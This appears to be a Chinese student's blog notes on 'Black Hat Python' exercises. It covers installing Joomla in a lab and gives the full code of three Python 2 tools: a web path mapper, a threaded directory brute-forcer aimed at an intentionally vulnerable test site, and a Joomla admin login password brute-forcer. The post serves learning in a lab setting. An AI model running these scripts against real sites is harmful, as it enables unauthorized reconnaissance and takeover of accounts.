开源Web应用安装
首先安装joomla。
这一步很头大,之前没安装好,就一直运行不出来。
没安装joomla的话,就只有这种输出。
在网上找了很多方法,我说怎么那么难呢。。原来都是用joomla配置数据库和Apache的方法,莫名其妙得搭好了服务器。。。不过只针对书本的案例的话,不用这么复杂。只安装joomla的步骤如下:
1.在终端输入以下,下载3-8-2版本的joomla(具体版本可以修改序号如3-8-2)
wget https://downloads.joomla.org/cms/joomla3/3-8-2/Joomla_3-8-2-Stable-Full_Package.tar.gz
2.新建一个文件夹,这里我是在root文件夹下新建了joomla-3.1.1文件夹(名字按书上取得,懒得改了。。),然后把刚刚下载好的Joomla_3-8-2-Stable-Full_Package.tar.gz文件复制进这个文件夹(这个文件应该在root文件夹下,即点击home可看到)。
复制进去之后,运行
tar xzf Joomla_3-8-2-Stable-Full_Package.tar.gz
解压文件到当前文件夹。 这下就可以进行测试啦!
—————————————————华丽的分割线——————————————
首先开启一些服务:
/etc/init.d/ssh start
service apache2 start
service mysql start
代码:
import Queue
import threading
import os
import urllib2
threads = 10
target = "http://www.blackhatpython.com"
directory = "./joomla-3.1.1"
filters = [".jpg",".gif","png",".css"]
os.chdir(directory)
web_paths = Queue.Queue()
for r,d,f in os.walk("."):
for files in f:
remote_path = "%s/%s" % (r,files)
if remote_path.startswith("."):
remote_path = remote_path[1:]
if os.path.splitext(files)[1] not in filters:
web_paths.put(remote_path)
def test_remote():
while not web_paths.empty():
path = web_paths.get()
url = "%s%s" % (target, path)
request = urllib2.Request(url)
try:
response = urllib2.urlopen(request)
content = response.read()
print "[%d] => %s" % (response.code,path)
response.close()
except urllib2.HTTPError as error:
#print "Failed %s" % error.code
pass
for i in range(threads):
print "Spawning thread: %d" % i
t = threading.Thread(target=test_remote)
t.start()
target = “http://www.blackhatpython.com”(网址随意)
directory = “./joomla-3.1.1”(自己存放joomla的文件夹)
然后在终端运行代码:
python web_app_mapper.py
结果:
PS:
关于建立服务器的,记下几个地址。。怕以后再装忘了。。
http://defcon.cn/2504.html
https://linuxtechlab.com/create-website-joomla-install-joomla-linux/
http://www.lleess.com/2013/05/install-joomla-311-on-ubuntu.html#.W_v6oc4zapo
https://www.linuxidc.com/Linux/2017-12/149217.htm
暴力破解目录和文件位置
这个代码就是使用暴力破解工具获取一个网站常见的文件名和目录。主要就是组合一个all.txt(SVNDigger项目中的一个文件)中包含的一些文件名,再用urllib2函数库去得到反馈结果(具体怎么获得的还没搞明白,只知道怎么用)
urllib2:Web的套接字函数库
当编写工具与Web服务交互时,需要使用到urllib2函数库。
书本上用于测试的网站是OWASP的一个存在漏洞的Web应用。做测试之前,还需要准备一个all.txt,这个可以在GitHub上下载:
https://github.com/nathanmyee/SVNDigger
把这个all.txt放在代码同一位置下(也可以随便放,写路径麻烦就放一起了)
代码:
import urllib2
import threading
import Queue
import urllib
threads = 5
target_url = "http://testphp.vulnweb.com"
wordlist_file = "all.txt"
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
def build_wordlist(wordlist_file):
fd = open(wordlist_file, "rb")
raw_words = fd.readlines()
fd.close()
found_resume = False
words = Queue.Queue()
for word in raw_words:
word = word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print "Resuming wordlist from: %s" % resume
else:
words.put(word)
return words
def dir_bruter(word_queue, extensions=None):
while not word_queue.empty():
attempt = word_queue.get()
attempt_list = []
if "." not in attempt:
attempt_list.append("/%s/" % attempt)
else:
attempt_list.append("/%s" % attempt)
if extensions:
for extension in extensions:
attempt_list.append("/%s%s" % (attempt, extension))
for brute in attempt_list:
url = "%s%s" % (target_url, urllib.quote(brute))
try:
headers = {}
headers["User-Agent"] = user_agent
r = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(r)
if len(response.read()):
print "[%d] => %s" % (response.code, url)
except urllib2.URLError, e:
if hasattr(e,'code') and e.code != 404:
print "!!! %d => %s" % (e.code,url)
pass
word_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]
for i in range(threads):
t = threading.Thread(target=dir_bruter,args=(word_queue,extensions))
t.start()
build_wordlist 这个函数用于把all.txt的数据分行读出,加入一个队列,用于def dir_bruter函数
def dir_bruter函数先将上面函数得到的队列进行加工,然后再用urllib2函数库暴力获取目录和文件位置。
测试:
暴力破解HTML表格认证(未成功)
这一节主要是教怎么破解获取一个搭了joomla的web应用的管理员密码。前提:得知道管理员的用户名。然后再用一个密码txt(里面含有大量数目的密码)去一个个试。书里的做法是把已知的密码加到了密码txt里面,所以最后可以破解出来。如果没有正确密码,我估计不行。。。
1 用Joomla环境搭Web环境
这个前面有提过,按着那几个网站,设置好数据库,再做一点设置就好了。网上说是要先安装php环境,再安装MySQL,再安装Apache服务器,最后再装Joomla才能行。这里Linux系统,已经自带MySQL和Apache了,就按着上面几个网站设置就OK了。(具体哪个能设置好有点忘了。。因为分了两天做的)
大概步骤:
(1)先把这些服务器全部打开
/etc/init.d/ssh start
service apache2 start
service mysql start
(2)关键步骤
1.安装PHP环境 sudo apt-get install apache2 php5-mysql libapache2-mod-php5 mysql-server
2.设置数据库密码
https://linuxtechlab.com/create-website-joomla-install-joomla-linux/
直接从install Joomla开始看即可
遇到的问题
- www文件夹下没有html文件夹 解决办法:自己创建一个。再把下载好的Joomla解压进去。
- Joomla解压失败 解决办法:把下载好的Joomla压缩包直接复制到html文件夹下,再在终端cd 进入到html文件夹下,使用解压命令 即可完成解压
- 上面网站里的步骤这一步没做,因为找不到文件。
Next we need to make a change in our apache configuration file. Open the apache config file,Next we need to make a change in our apache configuration file. Open the apache config file,
$ sudo vim /etc/httpd/conf/httpd.conf
& change the ‘AllowOverride’ parameter to the following,
AllowOverride All
Save the file & exit, than restart the apache service to implement the changes,
$ sudo systemctl restart httpd
(3)最后的设置
在网址上输入http://localhost/html/installation/index.php
自定义网站名称和账号密码以及email。
有个关键的一步,就是要把installation这个文件夹删除,不然会一直不停得安装。(这里我重新安装了几遍,还了文件夹,忘记改中文显示了)
先点击下面那个带remove的按钮,这样删除,它会自动创建一个configuration.php到根目录文件夹。
但是很不幸的,我点了下面那个按钮,冒出了ERROR(如果幸运可能没有错误,后面就不用看啦),然后以为自己手动删除就行了。但是实际上这样是没有configuration.php产生的,于是一直显示找不到configuration 文件。 configuration.php丢失的问题,找了好久才解决这个问题。。其实还是自己没仔细看!!啊!!!(搞了几个小时。。。)
既然找不到,那自己创一个。
刚刚那个页面拉到最下面,在网站根目录下(即html下)创建configuration.php,复制这段php代码进去。然后删除installation文件夹。
再打开就可以了!!
接下来试试暴力破解:
1.先准备一个密码txt
https://github.com/danielmiessler/SecLists这个里面的software文件夹下面的cain-and-abel.txt
下载下来之后,在里面添加自己的密码(不然我感觉破解不了),最好放在前面,不然要等半天。然后改名为cain.txt,放在与代码的同一个位置
2.代码
import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
# general settings
user_thread = 10
username = "james" #前面设置的用户名称
wordlist_file = "cain.txt"
resume = None
# target specific settings
target_url = "http://虚拟机IP地址/html/administrator/index.php"
target_post = "http://虚拟机IP地址/html/administrator/index.php"
username_field= "username"
password_field= "passwd"
success_check = "Administration - Control Panel"
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
if tag == "input":
tag_name = None
tag_value = None
for name,value in attrs:
if name == "name":
tag_name = value
if name == "value":
tag_value = value
if tag_name is not None:
self.tag_results[tag_name] = value
class Bruter(object):
def __init__(self, username, words):
self.username = username
self.password_q = words
self.found = False
print "Finished setting up for: %s" % username
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password_q.empty() and not self.found:
brute = self.password_q.get().rstrip()
jar = cookielib.FileCookieJar("cookies")
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
response = opener.open(target_url)
page = response.read()
print "Trying: %s : %s (%d left)" % (self.username,brute,self.password_q.qsize())
# parse out the hidden fields
parser = BruteParser()
parser.feed(page)
post_tags = parser.tag_results
# add our username and password fields
post_tags[username_field] = self.username
post_tags[password_field] = brute
login_data = urllib.urlencode(post_tags)
login_response = opener.open(target_post, login_data)
login_result = login_response.read()
if success_check in login_result:
self.found = True
print "[*] Bruteforce successful."
print "[*] Username: %s" % username
print "[*] Password: %s" % brute
print "[*] Waiting for other threads to exit..."
def build_wordlist(wordlist_file):
# read in the word list
fd = open(wordlist_file,"rb")
raw_words = fd.readlines()
fd.close()
found_resume = False
words = Queue.Queue()
for word in raw_words:
word = word.rstrip()
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print "Resuming wordlist from: %s" % resume
else:
words.put(word)
return words
words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username,words)
bruter_obj.run_bruteforce()
3.测试代码(没实现出来,感觉是不是这个软件更新了Bug就没了)